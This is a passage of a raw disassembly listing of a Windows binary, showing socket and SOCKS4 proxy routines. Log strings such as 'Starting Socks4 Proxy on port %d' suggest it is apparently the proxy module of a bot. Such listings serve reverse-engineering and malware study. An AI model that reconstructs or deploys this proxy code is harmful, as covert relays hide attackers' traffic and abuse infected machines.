[esi+99h], ecx mov edx, [edi+3Bh] lea eax, [edi+26h] lea ecx, [esi+26h] push eax mov [esp+20h+var_4], 0FFFFFFFFh mov [esi+3Bh], edx mov [esi+0BBh], ebp call sub_401FDC mov cl, [edi+97h] mov [esi+97h], cl mov dl, [edi+98h] mov ecx, esi mov [esi+98h], dl call sub_4013DE jmp short loc_42AE96 ; --------------------------------------------------------------------------- loc_42AE8B: ; CODE XREF: sub_42AD90+74j ; sub_42AD90+7Cj push 0FAh nop call near ptr 2831CE8h loc_42AE96: ; CODE XREF: sub_42AD90+F9j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jnz loc_42ADF0 pop esi pop ebp loc_42AEAC: ; CODE XREF: sub_42AD90+58j mov edi, [edi+9Eh] cmp edi, 0FFFFFFFFh jz short loc_42AEBE push edi call near ptr 71AB9639h nop loc_42AEBE: ; CODE XREF: sub_42AD90+125j mov ecx, [esp+14h+var_C] pop edi mov large fs:0, ecx add esp, 10h retn sub_42AD90 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AF20 proc near ; CODE XREF: sub_40137Aj push ebx push esi mov esi, ecx push edi mov al, [esi+9Dh] lea edi, [esi+11h] test al, al mov eax, [esi+3Bh] lea ebx, [esi+26h] push eax mov ecx, edi jz short loc_42AF48 call sub_4017EE push eax push offset aSStartingProxy ; "[%s] Starting proxy on %d with SSL." jmp short loc_42AF53 ; --------------------------------------------------------------------------- loc_42AF48: ; CODE XREF: sub_42AF20+19j call sub_4017EE push eax push offset aSStartingPro_0 ; "[%s] Starting proxy on port %d." loc_42AF53: ; CODE XREF: sub_42AF20+26j mov ecx, ebx call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 1Ch mov ecx, esi call sub_4010E1 mov eax, [esi+3Bh] mov ecx, edi push eax call sub_4017EE push eax push offset aSUnloadedProxy ; "[%s] Unloaded proxy on port %d." mov ecx, ebx call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 1Ch pop edi pop esi pop ebx retn sub_42AF20 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AFF0 proc near ; CODE XREF: sub_40213Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42AFF0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset aSocks4 ; "Socks4" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F16C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42AFF0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42B060: ; CODE XREF: ___:0040187Fj ; ___:loc_401B18j push esi mov esi, ecx call sub_401FA5 test byte ptr [esp+8], 1 jz short loc_42B078 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B078: ; CODE XREF: ___:0042B06Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B090 proc near ; CODE XREF: sub_401FA5j jmp sub_4017A8 sub_42B090 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B0B0 proc near ; CODE XREF: sub_4010AFj var_81D = byte ptr -81Dh var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = byte ptr -808h var_807 = byte ptr -807h var_806 = word ptr -806h var_804 = dword ptr -804h var_800 = byte ptr -800h var_400 = byte ptr -400h sub esp, 820h lea eax, [esp+820h+var_81D] push ebx push ebp push esi mov esi, dword_511CA4 mov ebp, ecx push edi push 0 push 1 mov ecx, [ebp+0A1h] push eax push ecx call esi cmp eax, 1 jge short loc_42B0F1 mov edx, [ebp+0A1h] push edx call near ptr 71AB9639h nop pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_42B0F1: ; CODE XREF: sub_42B0B0+27j cmp [esp+830h+var_81D], 4 jnz loc_42B2DC mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_807] push 406h push eax push ecx call esi cmp eax, 1 jge short loc_42B12E mov edx, [ebp+0A1h] push edx call near ptr 71AB9639h nop pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_42B12E: ; CODE XREF: sub_42B0B0+64j cmp [esp+830h+var_807], 1 jnz loc_42B2DC mov cx, [esp+830h+var_806] mov edx, [esp+830h+var_804] xor eax, eax push 6 mov [esp+834h+var_818], eax push 1 mov [esp+838h+var_814], eax push 2 mov [esp+83Ch+var_810], eax mov word ptr [esp+83Ch+var_818], 2 mov [esp+83Ch+var_80C], eax mov word ptr [esp+83Ch+var_818+2], cx mov [esp+83Ch+var_814], edx nop call near ptr 71AB3B91h mov ebx, eax lea eax, [esp+830h+var_818] push 10h push eax push ebx nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh mov [esp+830h+var_808], 0 jnz short loc_42B1C9 mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Bh push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx nop call near ptr 71AB428Ah mov eax, [ebp+0A1h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_42B1C9: ; CODE XREF: sub_42B0B0+D8j mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Ah push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx nop call near ptr 71AB428Ah mov ecx, [ebp+0A1h] mov esi, dword_511CAC lea eax, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push eax push 8004667Eh push ecx call esi lea edx, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push edx push 8004667Eh push ebx call esi loc_42B226: ; CODE XREF: sub_42B0B0+1AFj ; sub_42B0B0+1FEj ... mov edi, dword_511CA4 push 0 lea eax, [esp+834h+var_400] push 400h push eax push ebx call edi mov esi, eax test esi, esi jz loc_42B2CA jge short loc_42B261 call near ptr 71AB94DCh nop cmp eax, 2733h jz short loc_42B261 push 0Ah nop call near ptr 2831CE8h jmp short loc_42B226 ; --------------------------------------------------------------------------- loc_42B261: ; CODE XREF: sub_42B0B0+198j ; sub_42B0B0+1A5j mov edx, [ebp+0A1h] push 0 lea ecx, [esp+834h+var_400] push esi push ecx push edx nop call near ptr 71AB428Ah mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_400] push 400h push eax push ecx call edi mov esi, eax test esi, esi jz short loc_42B2CA jge short loc_42B2B3 nop call near ptr 71AB94DCh cmp eax, 2733h jz short loc_42B2B3 push 0Ah nop call near ptr 2831CE8h jmp loc_42B226 ; --------------------------------------------------------------------------- loc_42B2B3: ; CODE XREF: sub_42B0B0+1E7j ; sub_42B0B0+1F4j push 0 lea edx, [esp+834h+var_400] push esi push edx push ebx call near ptr 71AB428Ah nop jmp loc_42B226 ; --------------------------------------------------------------------------- loc_42B2CA: ; CODE XREF: sub_42B0B0+192j ; sub_42B0B0+1E5j mov eax, [ebp+0A1h] mov esi, dword_511C9C push eax call esi push ebx call esi loc_42B2DC: ; CODE XREF: sub_42B0B0+46j ; sub_42B0B0+83j pop edi pop esi pop ebp pop ebx add esp, 820h retn sub_42B0B0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B380 proc near ; CODE XREF: sub_40218Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42B380 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset aSocks4 ; "Socks4" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F17C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42B380 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B3F0 proc near ; CODE XREF: ___:00401032j sub_4017B2j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401C4E test [esp+4+arg_0], 1 jz short loc_42B408 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B408: ; CODE XREF: sub_42B3F0+Dj mov eax, esi pop esi retn 4 sub_42B3F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B420 proc near ; CODE XREF: sub_401C4Ej jmp sub_4017A8 sub_42B420 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B440 proc near ; CODE XREF: sub_40189Dj var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_42B440 push eax mov large fs:0, esp sub esp, 28h push ebx push esi mov esi, ecx mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax lea ebx, [esi+26h] call sub_4017EE push eax push offset aSStartingSocks ; "[%s] Starting Socks4 Proxy on port %d." mov ecx, ebx call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 1Ch push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_42B649 mov cx, [esi+3Bh] xor eax, eax mov [esp+3Ch+var_2C], eax push ecx mov [esp+40h+var_28], eax mov word ptr [esp+40h+var_2C], 2 mov [esp+40h+var_24], eax mov [esp+40h+var_20], eax nop call near ptr 71AB2B66h mov word ptr [esp+3Ch+var_2C+2], ax mov eax, [esi+9Dh] lea edx, [esp+3Ch+var_2C] push 10h push edx push eax mov [esp+48h+var_34], 10h nop call near ptr 71AB3E00h test eax, eax jz short loc_42B516 mov ecx, [esi+9Dh] push ecx nop call near ptr 71AB9639h pop esi pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_42B516: ; CODE XREF: sub_42B440+B6j mov edx, [esi+99h] push ebp push edi mov al, [edx+11Ch] test al, al jz loc_42B600 loc_42B52C: ; CODE XREF: sub_42B440+1BAj mov eax, [esi+9Dh] push 0Ah push eax call near ptr 71AB88D3h nop cmp eax, 0FFFFFFFFh jnz short loc_42B550 push 0FAh nop call near ptr 2831CE8h jmp loc_42B5EC ; --------------------------------------------------------------------------- loc_42B550: ; CODE XREF: sub_42B440+FEj mov eax, [esi+9Dh] lea ecx, [esp+40h+var_30] lea edx, [esp+40h+var_18] push ecx push edx push eax call near ptr 71AC1028h nop mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_42B600 xor edi, edi cmp ebp, edi jz loc_42B600 push 0A5h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+44h+var_30], eax cmp eax, edi mov [esp+44h+var_4], edi jz short loc_42B59E mov ecx, eax call sub_40213A mov edi, eax loc_42B59E: ; CODE XREF: sub_42B440+153j mov ecx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], ecx mov edx, [esi+3Bh] push ebx lea ecx, [edi+26h] mov [esp+48h+var_4], 0FFFFFFFFh mov [edi+3Bh], edx mov [edi+0A1h], ebp call sub_401FDC mov al, [esi+97h] mov [edi+97h], al mov cl, [esi+98h] mov [edi+98h], cl mov ecx, edi call sub_4013DE loc_42B5EC: ; CODE XREF: sub_42B440+10Bj mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_42B52C loc_42B600: ; CODE XREF: sub_42B440+E6j ; sub_42B440+12Cj ... mov eax, [esi+9Dh] pop edi cmp eax, 0FFFFFFFFh pop ebp jz short loc_42B614 push eax nop call near ptr 71AB9639h loc_42B614: ; CODE XREF: sub_42B440+1CBj mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax call sub_4017EE push eax push offset aSUnloadedPro_0 ; "[%s] Unloaded proxy on %d." mov ecx, ebx call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 1Ch loc_42B649: ; CODE XREF: sub_42B440+69j mov ecx, [esp+3Ch+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 34h retn sub_42B440 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B6F0 proc near ; CODE XREF: sub_401758j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax call near ptr 71AB4FD4h nop test eax, eax jz short loc_42B711 mov ecx, [eax+0Ch] mov edx, [ecx] mov ecx, [esp+arg_4] mov eax, [edx] mov [ecx], eax mov al, 1 retn 8 ; --------------------------------------------------------------------------- loc_42B711: ; CODE XREF: sub_42B6F0+Dj xor al, al retn 8 sub_42B6F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B730 proc near ; CODE XREF: sub_4020E0j var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_400 = byte ptr -400h arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 50Ch push ebx mov ebx, [esp+510h+arg_4] push ebp push esi push edi mov [esp+51Ch+var_50C], 0 mov [esp+51Ch+var_508], 0 loc_42B751: ; CODE XREF: sub_42B730+12Cj mov ebp, [esp+51Ch+arg_0] mov [esp+51Ch+var_504], 1 mov [esp+51Ch+var_500], ebp xor eax, eax lea ecx, [esp+51Ch+var_500] loc_42B76A: ; CODE XREF: sub_42B730+45j cmp [ecx], ebx jz short loc_42B777 inc eax add ecx, 4 cmp eax, 1 jb short loc_42B76A loc_42B777: ; CODE XREF: sub_42B730+3Cj cmp eax, 1 jnz short loc_42B788 mov [esp+51Ch+var_4FC], ebx mov [esp+51Ch+var_504], 2 loc_42B788: ; CODE XREF: sub_42B730+4Aj lea eax, [esp+51Ch+var_50C] lea ecx, [esp+51Ch+var_504] push eax push 0 push 0 push ecx push 2 call near ptr 71AB2DC0h nop test eax, eax jbe short loc_42B813 cmp eax, 0FFFFFFFFh jz short loc_42B813 lea edx, [esp+51Ch+var_504] push edx push ebp call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jz short loc_42B7BC mov eax, ebp mov ebp, ebx jmp short loc_42B7BE ; --------------------------------------------------------------------------- loc_42B7BC: ; CODE XREF: sub_42B730+84j mov eax, ebx loc_42B7BE: ; CODE XREF: sub_42B730+8Aj push 0 lea ecx, [esp+520h+var_400] push 3FFh push ecx push eax nop call near ptr 71AB615Ah mov edi, eax xor esi, esi cmp edi, 0FFFFFFFFh mov [esp+edi+51Ch+var_400], 0 jz short loc_42B862 test edi, edi jz short loc_42B862 jbe short loc_42B80C loc_42B7EB: ; CODE XREF: sub_42B730+DAj mov edx, edi push 0 sub edx, esi lea eax, [esp+esi+520h+var_400] push edx push eax push ebp nop call near ptr 71AB428Ah cmp eax, 0FFFFFFFFh jz short loc_42B862 add esi, eax cmp esi, edi jb short loc_42B7EB loc_42B80C: ; CODE XREF: sub_42B730+B9j mov ebp, [esp+51Ch+arg_0] loc_42B813: ; CODE XREF: sub_42B730+70j ; sub_42B730+75j mov [esp+51Ch+var_500], ebp mov [esp+51Ch+var_504], 1 xor eax, eax lea ecx, [esp+51Ch+var_500] loc_42B825: ; CODE XREF: sub_42B730+100j cmp [ecx], ebx jz short loc_42B832 inc eax add ecx, 4 cmp eax, 1 jb short loc_42B825 loc_42B832: ; CODE XREF: sub_42B730+F7j cmp eax, 1 jnz short loc_42B844 mov [esp+eax*4+51Ch+var_500], ebx mov eax, [esp+51Ch+var_504] inc eax mov [esp+51Ch+var_504], eax loc_42B844: ; CODE XREF: sub_42B730+105j lea ecx, [esp+51Ch+var_50C] lea edx, [esp+51Ch+var_504] push ecx push edx push 0 push 0 push 2 nop call near ptr 71AB2DC0h test eax, eax jle loc_42B751 loc_42B862: ; CODE XREF: sub_42B730+B3j ; sub_42B730+B7j ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 50Ch retn 8 sub_42B730 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B8E0 proc near ; CODE XREF: sub_401C30j var_51C = word ptr -51Ch var_51A = word ptr -51Ah var_518 = dword ptr -518h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_400 = dword ptr -400h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 51Ch push ebx push ebp mov ebp, [esp+524h+arg_4] push esi push edi mov edx, ecx movsx eax, byte ptr [ebp+3] dec eax mov [esp+52Ch+var_508], 0 mov [esp+52Ch+var_50C], 7 mov [esp+52Ch+var_51C], 2 jz short loc_42B97F dec eax jz short loc_42B92A dec eax jnz loc_42BA72 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_42B92A: ; CODE XREF: sub_42B8E0+32j movsx eax, byte ptr [ebp+4] mov ecx, eax lea esi, [ebp+5] mov ebx, ecx lea edi, [esp+52Ch+var_400] shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov byte ptr [esp+eax+52Ch+var_400], 0 lea eax, [esp+52Ch+var_518] lea ecx, [esp+52Ch+var_400] push eax push ecx mov ecx, edx call sub_401758 test al, al jz loc_42BA72 movsx esi, byte ptr [ebp+4] mov dx, [esi+ebp+5] add esi, 7 mov [esp+52Ch+var_51A], dx jmp short loc_42B99B ; --------------------------------------------------------------------------- loc_42B97F: ; CODE XREF: sub_42B8E0+2Fj mov eax, [ebp+4] mov esi, 0Ah mov [esp+52Ch+var_400], eax mov [esp+52Ch+var_518], eax mov ax, [ebp+8] mov [esp+52Ch+var_51A], ax loc_42B99B: ; CODE XREF: sub_42B8E0+9Dj mov ebx, dword_511C3C push 11h push 2 push 2 call ebx push 11h push 2 push 2 mov edi, eax call ebx cmp edi, 0FFFFFFFFh jz loc_42BA72 cmp eax, 0FFFFFFFFh jnz loc_42BA72 mov edx, [esp+52Ch+arg_8] lea ecx, [esp+52Ch+var_51C] push 10h push ecx sub edx, esi push 0 add esi, ebp mov ebp, dword_511C68 push edx push esi push edi call ebp mov ebx, [esp+52Ch+arg_0] push 10h push ebx push edi nop call near ptr 71AB3E00h test eax, eax jnz short loc_42BA72 loc_42B9F9: ; CODE XREF: sub_42B8E0+174j lea eax, [esp+52Ch+var_50C] lea ecx, [esp+52Ch+var_504] push eax push 0 push 0 push ecx push 1 mov [esp+540h+var_500], 0FFFFFFFFh mov [esp+540h+var_504], 1 nop call near ptr 71AB2DC0h push 0 push 0 push 0 lea edx, [esp+538h+var_400] push 3FFh push edx push edi nop call near ptr 71AB2D0Fh push 10h mov esi, eax push ebx push 0 lea eax, [esp+538h+var_400] push esi push eax push 0FFFFFFFFh call ebp test esi, esi jbe short loc_42BA56 cmp esi, 0FFFFFFFFh jnz short loc_42B9F9 loc_42BA56: ; CODE XREF: sub_42B8E0+16Fj mov esi, dword_511C9C push edi call esi push 0FFFFFFFFh call esi pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_42BA72: ; CODE XREF: sub_42B8E0+35j ; sub_42B8E0+86j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 51Ch retn 0Ch sub_42B8E0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42BB00 proc near ; CODE XREF: sub_42C5C0:loc_4013A2j var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = byte ptr -81Ch var_81A = word ptr -81Ah var_818 = dword ptr -818h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_708 = byte ptr -708h var_707 = byte ptr -707h var_705 = dword ptr -705h var_604 = word ptr -604h var_600 = dword ptr -600h var_5F0 = byte ptr -5F0h var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 4 sub esp, 82Ch push ebx push ebp push esi mov esi, [esp+838h+arg_0] cmp esi, 0FFFFFFFFh push edi mov ebp, ecx mov [esp+83Ch+var_828], 0 mov [esp+83Ch+var_82C], 0Bh mov [esp+83Ch+var_808], esi mov [esp+83Ch+var_80C], 1 jz loc_42BDBA mov eax, [ebp-8] mov ecx, [eax+4] mov ax, [ecx+ebp-2] cmp ax, 1 jnz loc_42BED6 mov edi, dword_511C94 lea edx, [esp+83Ch+var_82C] push edx push 0 lea eax, [esp+844h+var_80C] push 0 push eax push 1 call edi test eax, eax jle loc_42BF63 lea ecx, [esp+83Ch+var_80C] push ecx push esi call sub_438256 ; --------------------------------------------------------------------------- dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 71688005h, 89FFF883h dd 0F1C2444h, 22184h, 0A41D8B00h, 6A00511Ch, 24948D00h dd 240h, 5652026Ah, 0BC80D3FFh, 23C24h, 850F0500h, 1FEh dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h dd 256248Ch, 0D3FF0000h, 26A006Ah, 44731068h, 8BE85600h dd 90716886h, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h dd 282444C7h, 0 ; --------------------------------------------------------------------------- mov [esp+82Ch+var_808], 7 mov [esp+82Ch+var_7E4], esi mov [esp+82Ch+var_7E8], 1 call edi xor eax, eax lea edx, [esp+82Ch+var_5F0] push eax mov ecx, 20h lea edi, [esp+830h+var_5F0] push 2 push edx push esi rep stosd call ebx cmp byte ptr [esp+83Ch+var_600], 1 jnz loc_42BDBA movsx eax, byte ptr [esp+83Ch+var_600+1] push 0 lea ecx, [esp+840h+var_200] push eax push ecx push esi call ebx movsx edx, byte ptr [esp+83Ch+var_600+1] push 0 lea eax, [esp+840h+var_600] push 1 push eax push esi mov [esp+edx+84Ch+var_200], 0 call ebx movsx ecx, byte ptr [esp+83Ch+var_600] push 0 lea edx, [esp+840h+var_100] push ecx push edx push esi call ebx movsx eax, byte ptr [esp+83Ch+var_600] mov ecx, [ebp-8] mov [esp+eax+83Ch+var_100], 0 mov ecx, [ecx+4] add ecx, ebp call sub_4017EE mov edi, eax lea ecx, [esp+83Ch+var_200] loc_42BCCB: ; CODE XREF: sub_42BB00+1E9j mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_42BCEF test al, al jz short loc_42BCEB mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_42BCEF add ecx, 2 add edi, 2 test al, al jnz short loc_42BCCB loc_42BCEB: ; CODE XREF: sub_42BB00+1D5j xor eax, eax jmp short loc_42BCF4 ; --------------------------------------------------------------------------- loc_42BCEF: ; CODE XREF: sub_42BB00+1D1j ; sub_42BB00+1DFj sbb eax, eax sbb eax, 0FFFFFFFFh loc_42BCF4: ; CODE XREF: sub_42BB00+1EDj test eax, eax jz short loc_42BD51 mov eax, [ebp-8] mov ecx, [eax+4] lea ecx, [ecx+ebp+15h] call sub_4017EE lea edi, [esp+83Ch+var_100] loc_42BD0E: ; CODE XREF: sub_42BB00+22Cj mov dl, [edi] mov cl, dl cmp dl, [eax] jnz short loc_42BD32 test cl, cl jz short loc_42BD2E mov dl, [edi+1] mov cl, dl cmp dl, [eax+1] jnz short loc_42BD32 add edi, 2 add eax, 2 test cl, cl jnz short loc_42BD0E loc_42BD2E: ; CODE XREF: sub_42BB00+218j xor eax, eax jmp short loc_42BD37 ; --------------------------------------------------------------------------- loc_42BD32: ; CODE XREF: sub_42BB00+214j ; sub_42BB00+222j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42BD37: ; CODE XREF: sub_42BB00+230j test eax, eax jz short loc_42BD51 push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42BD51: ; CODE XREF: sub_42BB00+1F6j ; sub_42BB00+239j mov edi, dword_511CA0 push 0 push 2 push offset dword_44730C push esi call edi lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 call near ptr 71AB2DC0h nop lea edx, [esp+83Ch+var_80C] push edx push esi call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jz short loc_42BDBA push 0 lea eax, [esp+840h+var_708] push 4 push eax push esi call ebx mov eax, [esp+83Ch+var_705] and eax, 0FFh dec eax jz short loc_42BE21 sub eax, 2 jz short loc_42BDC9 dec eax loc_42BDB8: ; CODE XREF: sub_42BB00+31Fj jnz short loc_42BE30 loc_42BDBA: ; CODE XREF: sub_42BB00+32j ; sub_42BB00+154j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42BDC9: ; CODE XREF: sub_42BB00+2B5j push 0 lea ecx, [esp+840h+var_600] push 1 push ecx push esi call ebx movsx edx, byte ptr [esp+83Ch+var_600] push 0 lea eax, [esp+840h+var_705+1] push edx push eax push esi call ebx movsx ecx, byte ptr [esp+83Ch+var_600] lea edx, [esp+83Ch+var_600] lea eax, [esp+83Ch+var_705+1] mov byte ptr [esp+ecx+83Ch+var_705+1], 0 mov ecx, [ebp-8] push edx push eax mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_401758 test al, al jmp short loc_42BDB8 ; --------------------------------------------------------------------------- loc_42BE21: ; CODE XREF: sub_42BB00+2B0j push 0 lea eax, [esp+840h+var_600] push 4 push eax push esi call ebx loc_42BE30: ; CODE XREF: sub_42BB00:loc_42BDB8j push 0 lea ecx, [esp+840h+var_604] push 2 push ecx push esi call ebx cmp [esp+83Ch+var_707], 1 jnz loc_42BDBA mov ebx, [esp+83Ch+var_820] mov dx, [esp+83Ch+var_604] mov eax, [esp+83Ch+var_600] lea ecx, [esp+83Ch+var_81C] push 10h push ecx push ebx mov word ptr [esp+848h+var_81C], 2 mov [esp+848h+var_81A], dx mov [esp+848h+var_818], eax nop call near ptr 71AB406Ah test eax, eax jnz loc_42BDBA push eax push 4 push offset dword_447304 push esi call edi push 0 lea edx, [esp+840h+var_600] push 4 push edx push esi call edi push 0 lea eax, [esp+840h+var_604] push 2 push eax push esi call edi mov ecx, [ebp-8] push ebx push esi mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_4020E0 push ebx nop call near ptr 71AB9639h pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42BED6: ; CODE XREF: sub_42BB00+47j cmp ax, 2 jnz loc_42BF63 mov ebx, dword_511C94 loc_42BEE6: ; CODE XREF: sub_42BB00+461j lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 call ebx lea edx, [esp+83Ch+var_824] lea eax, [esp+83Ch+var_81C] push edx push eax push 0 lea ecx, [esp+848h+var_600] push 3FFh push ecx push esi mov [esp+854h+var_824], 10h call near ptr 71AB2D0Fh nop mov ecx, [ebp-8] mov edi, eax lea edx, [esp+83Ch+var_600] push edi push edx mov edx, [ecx+4] lea eax, [esp+844h+var_81C] push eax lea ecx, [edx+ebp-8] call sub_401C30 test edi, edi jz short loc_42BF63 cmp edi, 0FFFFFFFFh jz short loc_42BF63 lea eax, [esp+83Ch+var_80C] push eax push esi call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_42BEE6 loc_42BF63: ; CODE XREF: sub_42BB00+67j ; sub_42BB00+3DAj ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 sub_42BB00 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C0A0 proc near ; CODE XREF: sub_401F37j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch sub esp, 10h push esi mov esi, ecx mov eax, [esi+32h] test eax, eax jz short loc_42C0B4 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42C0B4: ; CODE XREF: sub_42C0A0+Bj xor eax, eax mov ax, [esi+6] dec eax jz short loc_42C0C6 dec eax jz short loc_42C0E8 mov word ptr [esi+6], 1 loc_42C0C6: ; CODE XREF: sub_42C0A0+1Bj mov eax, 1 mov ecx, 6 loc_42C0D0: ; CODE XREF: 